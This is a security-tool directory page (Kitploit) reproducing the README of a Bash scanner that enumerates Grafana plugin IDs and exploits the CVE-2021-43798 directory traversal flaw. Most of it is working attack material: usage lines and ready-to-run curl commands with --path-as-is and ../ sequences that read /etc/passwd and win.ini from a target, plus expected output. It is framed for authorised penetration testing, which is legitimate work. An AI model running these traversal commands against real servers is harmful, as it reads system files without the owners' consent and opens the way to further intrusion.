Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Grafana-Plugin-Enumerator-CVE-2021-43798 — Bash-based scanner that enumerates Grafana plugin IDs and tests for CVE-2021-43798 directory traversal by attempting to read /etc/passwd or win.ini on vulnerable instances. | Kitploit
Tools/GitHubGitHub/squ1shification/grafana-plugin-enumerator-cve-2021-43798
Vulnerability ScannersWeb Vulnerability ScannersExploitationScripting & AutomationWeb Application ExploitationInformation GatheringPenetration Testing
GitHub
squ1shification/grafana-plugin-enumerator-cve-2021-43798

Grafana-Plugin-Enumerator-CVE-2021-43798

Bash-based scanner that enumerates Grafana plugin IDs and tests for CVE-2021-43798 directory traversal by attempting to read /etc/passwd or win.ini on vulnerable instances.

View Repository
113h 27m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Grafana CVE-2021-43798 Plugin Enumerator

A small Bash-based tool for testing Grafana instances for CVE-2021-43798, a directory traversal vulnerability affecting vulnerable Grafana versions.

The tool enumerates Grafana plugin IDs and uses curl --path-as-is to test whether directory traversal can access a known file.

For authorized security testing and lab environments only.

Files

root@kitploit:~
.
├── grafana-windows.sh
├── grafana-linux.sh
├── plugins.txt
└── README.md
  • grafana-windows.sh: Tests for access to C:\Windows\win.ini
  • grafana-linux.sh: Tests for access to /etc/passwd
  • plugins.txt: A wordlist containing Grafana plugin IDs used during enumeration.

Requirements

  • Bash
  • curl
  • A Grafana target
  • Permission to test the target

Check that curl is installed:

root@kitploit:~
curl --version

Make the scripts executable:

root@kitploit:~
chmod +x grafana-windows.sh
chmod +x grafana-linux.sh

CVE-2021-43798 Overview

CVE-2021-43798 is a directory traversal vulnerability in Grafana.

The vulnerable endpoint is based around: /public/plugins/<plugin-id>/

The vulnerability can allow traversal outside of the intended plugin directory.

The important part when testing with curl is: --path-as-is

Without this option, the client may normalize the path before sending it to the server.

Windows Scanner

The Windows scanner attempts to retrieve: C:\Windows\win.ini

The path is represented in the HTTP request as: Windows/win.ini

Basic Usage

root@kitploit:~
./grafana-windows.sh \
    -u http://192.168.68.193:3000 \
    -w plugins.txt

Example:

root@kitploit:~
./grafana-windows.sh -u http://TARGET:3000 -w plugins.txt

Windows Manual Test

You can manually test a plugin with:

root@kitploit:~
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"

For the lab target:

root@kitploit:~
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"

A successful response should contain Windows INI file contents.

Linux Scanner

The Linux scanner attempts to retrieve: /etc/passwd

Basic Usage

root@kitploit:~
./grafana-linux.sh \
    -u http://192.168.68.193:3000 \
    -w plugins.txt

Generic example:

root@kitploit:~
./grafana-linux.sh -u http://TARGET:3000 -w plugins.txt

Linux Manual Test

root@kitploit:~
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"

For the lab target:

root@kitploit:~
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"

A successful Linux response should contain entries similar to:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash

Command-Line Options

Both scanners use the same basic arguments:

  • u, --url : Grafana base URL
  • w, --wordlist : Plugin wordlist
  • f, --file : File to test
  • h, --help : Show help
Download Tool